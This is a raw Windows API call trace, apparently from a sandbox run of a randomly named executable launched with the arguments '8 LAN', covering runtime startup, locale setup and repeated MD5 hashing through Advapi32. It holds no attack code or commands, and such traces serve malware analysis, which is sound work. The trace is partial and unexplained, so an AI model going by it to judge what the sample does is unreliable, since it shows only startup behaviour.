	[0094.898] GetLastError () returned 0x57
	[0094.898] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76f20000
	[0094.899] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190
	[0094.899] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90
	[0094.899] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0094.900] GetLastError () returned 0x57
	[0094.900] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef6760000
	[0094.900] GetProcAddress (hModule=0x7fef6760000, lpProcName="InitializeCriticalSectionEx") returned 0x0
	[0094.901] GetProcessHeap () returned 0x330000
	[0094.901] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0094.901] GetLastError () returned 0x57
	[0094.901] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0094.902] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0094.902] GetLastError () returned 0x57
	[0094.902] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76f20000
	[0094.902] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190
	[0094.902] GetLastError () returned 0x57
	[0094.902] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520
	[0094.902] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x347990
	[0094.903] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90
	[0094.903] SetLastError (dwErrCode=0x57) 
	[0094.903] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1000) returned 0x347d60
	[0094.908] GetStartupInfoW (in: lpStartupInfo=0x12f9d0 | out: lpStartupInfo=0x12f9d0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SawWHUYCUlan.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x1)) 
	[0094.908] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0094.908] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0094.908] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0094.909] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SawWHUYCUlan.exe\" 8 LAN"
	[0094.909] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SawWHUYCUlan.exe\" 8 LAN"
	[0094.909] GetLastError () returned 0x57
	[0094.909] SetLastError (dwErrCode=0x57) 
	[0094.909] GetLastError () returned 0x57
	[0094.910] SetLastError (dwErrCode=0x57) 
	[0094.911] GetACP () returned 0x4e4
	[0094.911] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x228) returned 0x3475f0
	[0094.911] IsValidCodePage (CodePage=0x4e4) returned 1
	[0094.911] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f9a0 | out: lpCPInfo=0x12f9a0) returned 1
	[0094.911] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f240 | out: lpCPInfo=0x12f240) returned 1
	[0094.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f260, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0094.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f260, cbMultiByte=256, lpWideCharStr=0x12ef90, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȰ3") returned 256
	[0094.911] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȰ3", cchSrc=256, lpCharType=0x12f560 | out: lpCharType=0x12f560) returned 1
	[0094.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f260, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0094.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f260, cbMultiByte=256, lpWideCharStr=0x12ef30, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256
	[0094.911] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0094.912] GetLastError () returned 0x57
	[0094.912] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0094.913] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710
	[0094.913] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0094.914] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12ed20, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256
	[0094.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f360, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x08", lpUsedDefaultChar=0x0) returned 256
	[0094.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f260, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0094.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f260, cbMultiByte=256, lpWideCharStr=0x12ef30, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256
	[0094.914] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0094.914] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12ed20, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256
	[0094.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12f460, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256
	[0094.914] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x100) returned 0x349d70
	[0094.915] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x13f91e670, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SawWHUYCUlan.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sawwhuyculan.exe")) returned 0x36
	[0094.915] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x9a) returned 0x347380
	[0094.915] RtlInitializeSListHead (in: ListHead=0x13f91e490 | out: ListHead=0x13f91e490) 
	[0094.915] GetLastError () returned 0x0
	[0094.915] SetLastError (dwErrCode=0x0) 
	[0094.915] GetEnvironmentStringsW () returned 0x349e80*
	[0094.915] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xa7c) returned 0x34a910
	[0094.916] FreeEnvironmentStringsW (penv=0x349e80) returned 1
	[0094.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x128) returned 0x349e80
	[0094.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3e) returned 0x349fb0
	[0094.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x6c) returned 0x34a000
	[0094.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x62) returned 0x34a080
	[0094.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x78) returned 0x34a0f0
	[0094.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x62) returned 0x34a170
	[0094.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2e) returned 0x3493e0
	[0094.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x48) returned 0x34a1e0
	[0094.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x28) returned 0x344030
	[0094.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1a) returned 0x344060
	[0094.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4a) returned 0x34a230
	[0094.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x72) returned 0x34a290
	[0094.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x30) returned 0x349420
	[0094.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2e) returned 0x349460
	[0094.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1c) returned 0x344090
	[0094.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xd2) returned 0x34a310
	[0094.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x7c) returned 0x34a3f0
	[0094.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x34a480
	[0094.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x90) returned 0x34a4d0
	[0094.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x24) returned 0x3440c0
	[0094.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x30) returned 0x3494a0
	[0094.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x36) returned 0x3494e0
	[0094.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c) returned 0x34a570
	[0094.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x52) returned 0x34a5c0
	[0094.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c) returned 0x34a620
	[0094.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x82) returned 0x34a670
	[0094.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2e) returned 0x349520
	[0094.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x3440f0
	[0094.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2c) returned 0x349560
	[0094.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x54) returned 0x34a700
	[0094.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x52) returned 0x34a760
	[0094.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2a) returned 0x3495a0
	[0094.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c) returned 0x34a7c0
	[0094.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x54) returned 0x34a810
	[0094.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x24) returned 0x344120
	[0094.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x30) returned 0x3495e0
	[0094.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x8c) returned 0x34a870
	[0094.918] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a910 | out: hHeap=0x330000) returned 1
	[0094.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1000) returned 0x34a910
	[0094.919] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x13f7c8104) returned 0x0
	[0094.919] GetStartupInfoW (in: lpStartupInfo=0x12fa60 | out: lpStartupInfo=0x12fa60*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SawWHUYCUlan.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0095.151] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0095.172] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0095.173] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0095.173] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0095.173] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0095.173] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0095.173] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0095.173] CryptAcquireContextA (in: phProv=0x73d28, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x73d28*=0x34d3a0) returned 1
	[0095.480] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.480] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.480] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.481] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.481] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.481] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.481] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.481] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.481] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.481] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.481] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.481] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.481] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.481] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.481] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.481] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.481] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.481] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.481] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.482] CryptDestroyHash (hHash=0x34d8d0) returned 1
